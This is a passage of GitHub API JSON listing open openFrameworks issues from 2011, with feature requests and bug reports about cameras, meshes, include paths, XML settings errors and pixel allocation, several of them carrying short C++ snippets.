posing:\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,7714.new.html#new\r\n\r\nwhich should be more powerful than playing back manual animations.\r\n\r\nintegrating it into the core would be ideal, but we're still trying to understand how it works."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/793","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/793/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/793/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/793/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/793","id":2051692,"number":793,"title":"easyCam -- ability to disable doubleClick reset","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-10-25T23:36:40Z","updated_at":"2011-10-25T23:39:09Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\r\nThis should be user adjustable / on / off. it's sort of a drag to be using easy cam and trigger double clicks are you are interacting with a gui, etc.... \r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/787","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/787/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/787/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/787/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/787","id":1999520,"number":787,"title":"half edge mesh structure extension of ofMesh","user":{"login":"kpasko","id":167271,"avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","url":"https://api.github.com/users/kpasko","html_url":"https://github.com/kpasko","followers_url":"https://api.github.com/users/kpasko/followers","following_url":"https://api.github.com/users/kpasko/following","gists_url":"https://api.github.com/users/kpasko/gists{/gist_id}","starred_url":"https://api.github.com/users/kpasko/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kpasko/subscriptions","organizations_url":"https://api.github.com/users/kpasko/orgs","repos_url":"https://api.github.com/users/kpasko/repos","events_url":"https://api.github.com/users/kpasko/events{/privacy}","received_events_url":"https://api.github.com/users/kpasko/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2011-10-19T22:39:37Z","updated_at":"2012-10-23T21:12:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"would be useful as well. Perhaps an ofxMeshUtils would be in order for upcoming versions..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/786","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/786/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/786/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/786/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/786","id":1999513,"number":786,"title":"axis aligned bounding box tree for ofMesh","user":{"login":"kpasko","id":167271,"avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","url":"https://api.github.com/users/kpasko","html_url":"https://github.com/kpasko","followers_url":"https://api.github.com/users/kpasko/followers","following_url":"https://api.github.com/users/kpasko/following","gists_url":"https://api.github.com/users/kpasko/gists{/gist_id}","starred_url":"https://api.github.com/users/kpasko/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kpasko/subscriptions","organizations_url":"https://api.github.com/users/kpasko/orgs","repos_url":"https://api.github.com/users/kpasko/repos","events_url":"https://api.github.com/users/kpasko/events{/privacy}","received_events_url":"https://api.github.com/users/kpasko/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-10-19T22:38:35Z","updated_at":"2011-11-04T21:59:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"would be quite useful"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/785","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/785/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/785/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/785/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/785","id":1992818,"number":785,"title":"ofCamera setOrientation gives odd results","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2011-10-19T11:16:42Z","updated_at":"2011-12-27T17:58:58Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I am loading in boujou camera data (translation and euler rotation), and I get really fine results when I do: \r\n\r\nglTranslatef(tx,ty,tz);\r\nglRotatef(rx, 1,0,0);\r\nglRotatef(ry, 0,1,0);\r\nglRotatef(rz, 0,0,1);\r\n\r\nbut when I create an ofCamera, and do: \r\n\r\nsetPosition(ofPoint(tx, ty, tz));\r\nsetOrientation(ofPoint(rx, ry, rz));\r\n\r\nI get strange results. I am wondering about ofNodes \"setOrientation\" and if it's really right in that the order is switched:\r\n\r\nsetOrientation(ofQuaternion(eulerAngles.y, ofVec3f(0, 1, 0), eulerAngles.x, ofVec3f(1, 0, 0), eulerAngles.z, ofVec3f(0, 0, 1)));\r\n\r\nalso, maybe I am mis interpreting what \"set orientation\" does. But I can't seem to get similar results with ofCam, even if I do, for example, \r\n\r\ncam.setPosition( tx,ty,tz);\r\ncam.rotate( rx, 1,0,0);\r\ncam.rotate( ry, 0,1,0);\r\ncam.rotate( rz, 0,0,1);\r\n\r\nI still don't get the same results as when I do it via opengl. This seems like a bug maybe with how ofNode handles rotation?\r\n\r\n(note , I am calling resetTranform() on the camera, so it's not an accumulation of rotations.... it's just that I can't seem to find a way to get ofCam to rotate in the same way as opengl commands). \r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/774","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/774/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/774/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/774/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/774","id":1922704,"number":774,"title":"ofCamera draw() should be more indicative of where the camera is facing. ","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2011-10-16T18:30:08Z","updated_at":"2012-06-26T14:12:16Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\r\nat the moment, the ofCamera draw calls ofNode, which does't really give you a clear indication of which way the camera is looking. even that is weird, because a camera looks on -z, and the node draw draws a line on positive z. \r\n\r\nI suggest we add something that draws a bit of a frustum (ie, fov, etc) and gives you a feeling about orientation. \r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/772","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/772/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/772/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/772/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/772","id":1888302,"number":772,"title":"ofBaseDraws draw(x, y) default","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-10-12T15:08:55Z","updated_at":"2011-10-12T15:09:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Currently we have:\r\n\tvirtual void draw(float x,float y)=0;\r\n\tvirtual void draw(float x,float y,float w, float h)=0;\r\n\r\n\tvirtual float getHeight()=0;\r\n\tvirtual float getWidth()=0;\r\n\r\nSince we're insisting that the user define a getWidth and getHeight, can I ask why we don't set the default of draw(x,y) to be\r\n virtual void draw(float x,float y) {draw(x, y, getWidth(), getHeight()) };\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/767","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/767/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/767/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/767/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/767","id":1854874,"number":767,"title":"#include instead of #include ","user":{"login":"gimlids","id":186277,"avatar_url":"https://secure.gravatar.com/avatar/cc4cace34c61103f0624002a692820f7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"cc4cace34c61103f0624002a692820f7","url":"https://api.github.com/users/gimlids","html_url":"https://github.com/gimlids","followers_url":"https://api.github.com/users/gimlids/followers","following_url":"https://api.github.com/users/gimlids/following","gists_url":"https://api.github.com/users/gimlids/gists{/gist_id}","starred_url":"https://api.github.com/users/gimlids/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gimlids/subscriptions","organizations_url":"https://api.github.com/users/gimlids/orgs","repos_url":"https://api.github.com/users/gimlids/repos","events_url":"https://api.github.com/users/gimlids/events{/privacy}","received_events_url":"https://api.github.com/users/gimlids/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2011-10-09T03:58:30Z","updated_at":"2011-10-24T15:27:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When integrating openFrameworks into existing build systems, it would make things easier if this common include convention was followed.\r\n\r\ni.e. to include openFrameworks headers in my own build, because all the includes look like:\r\n\r\n#include \"ofMesh.h\"\r\n#include \"ofAppGlutWindow.h\"\r\n#include \"ofSerial.h\"\r\n\r\nI have to add all these paths to my include paths:\r\n\r\n\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/app\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/3d\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/communication\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/gl\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/graphics\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/utils\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/types\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/math\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/events\r\n\r\n\r\n\r\nIt is common to instead structure files like (in the case of openFrameworks):\r\n\r\noF/include/oF\r\noF/include/oF/app\r\noF/include/oF/3d\r\noF/include/oF/communication\r\noF/include/oF/gl\r\noF/include/oF/graphics\r\n...etc...\r\n\r\nand just write:\r\n\r\n#include \r\n#include \r\n\r\netc.\r\n\r\nI'm not sure if there is an argument to leave it like it is because it's easier for oF's demographic? But I would say teaching the some_lib/include/some_lib/ convention would help people use more C++."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/766","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/766/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/766/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/766/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/766","id":1851779,"number":766,"title":"ofNode should have a draw(float size) option","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2011-10-08T09:38:46Z","updated_at":"2011-10-12T13:12:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\r\nat the moment, ofNode has a draw function that has awkwardly hard coded sizes: \r\n\r\nvirtual void customDraw() {\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nI'd like a draw(size) option. obviously I can extend ofNode and create my own functions, but if I just draw a node, I might want to adjust the size internally, as the \"10\" and \"20\" might not make any sense based on where I am drawing, for example here: \r\n\r\nhttp://imgur.com/idWPp\r\n\r\nlooks quite weird, but at 1/10th the size would look ok. \r\n\r\nas most other OF objects have draw(size) options, I think ofNodeShould have this too. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/765","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/765/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/765/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/765/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/765","id":1841802,"number":765,"title":"remove gluProject and gluUnProject, add screenToWorld, worldToScreen","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":10,"created_at":"2011-10-07T09:46:06Z","updated_at":"2013-01-04T06:56:07Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"edit: originally this issue was about adding glu functions. now i realize any remaining ones need to be removed. but it's still relevant to have an ofScreenToWorld and ofWorldToScreen. \r\n\r\nthis would be really awesome. there is already some code in ofDrawBitmapString that's using gluProject, it would be good to clean it up.\r\n\r\nthe main issue is that glu is not on iOS, so we'd need to find/write our own implementation.\r\n\r\nhere's a first pass:\r\n\r\n\tGLdouble modelviewMatrix[16], projectionMatrix[16];\r\n\tGLint viewport[4];\r\n\tvoid updateProjectionState() {\r\n\t\tglGetDoublev(GL_MODELVIEW_MATRIX, modelviewMatrix);\r\n\t\tglGetDoublev(GL_PROJECTION_MATRIX, projectionMatrix);\r\n\t\tglGetIntegerv(GL_VIEWPORT, viewport);\r\n\t}\r\n\r\n\tofVec3f ofWorldToScreen(ofVec3f world) {\r\n\t\tupdateProjectionState();\r\n\t\tGLdouble x, y, z;\r\n\t\tgluProject(world.x, world.y, world.z, modelviewMatrix, projectionMatrix, viewport, &x, &y, &z);\r\n\t\tofVec3f screen(x, y, z);\r\n\t\tscreen.y = ofGetHeight() - screen.y;\r\n\t\treturn screen;\r\n\t}\r\n\r\n\tofVec3f ofScreenToWorld(ofVec3f screen) {\r\n\t\tupdateProjectionState();\r\n\t\tGLdouble x, y, z;\r\n\t\tscreen.y = ofGetHeight() - screen.y;\r\n\t\tgluUnProject(screen.x, screen.y, screen.z, modelviewMatrix, projectionMatrix, viewport, &x, &y, &z);\r\n\t\tofVec3f world(x, y, z);\r\n\t\treturn world;\r\n\t}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/760","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/760/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/760/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/760/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/760","id":1758237,"number":760,"title":"ofxXmlSettings does not print any useful error messages","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2011-09-28T00:53:09Z","updated_at":"2011-09-28T01:00:34Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofxXmlXettings uses TinyXML which gives you lots of useful error info like what line the error is on as well as what it has trouble reading. This is super awesome and useful to people like me who always mistype xml here and there.\r\n\r\nCurrently ofxXmlSettings::loadFile only returns a bool and you're left to figure out if it's a path issue, bad xml formatting, etc. At the least, we should be able to grab an error string.\r\n\r\nHere's how to do it:\r\n
\r\nstd::string Xml::getErrorString(const TiXmlDocument* xmlDoc)\r\n{\r\n    if(xmlDoc == NULL)\r\n        return \"\";\r\n\r\n    std::stringstream error;\r\n    error << \"line \" <<  xmlDoc->ErrorRow() << \", \" << (std::string) xmlDoc->ErrorDesc();\r\n    return error.str();\r\n}\r\n
"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/758","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/758/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/758/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/758/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/758","id":1738864,"number":758,"title":"non ofxXmlSettings object read and write value","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":0,"created_at":"2011-09-26T11:54:06Z","updated_at":"2013-02-11T12:13:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This would be the best thing ever. \r\n\r\nstring ipAddr = ofxXmlSettings::readValueFromFile(\"data.xml\", \"ip\", \"127.0.0.1\"); \r\n\r\nofxXmlSettings::saveValueToFile(\"data.xml\", \"ip\", ipAddr); "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/757","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/757/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/757/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/757/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/757","id":1733504,"number":757,"title":"ofPixels::allocate should init new memory","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2011-09-25T13:22:59Z","updated_at":"2011-09-25T13:22:59Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"in my opinion, it would make sense for ofPixels::allocate to initialize the new memory to 0. even for large images, i don't think this is such an expensive operation.\r\n\r\ni discovered that it is not initialized to 0 when i had a really weird bug -- some code that gave me different results depending on whether i loaded another image before allocating or not. i was expecting OF to act like opencv, which also sets new memory to 0. this would be in line with ofVec*, ofColor, and a few other things, which are all allocated to 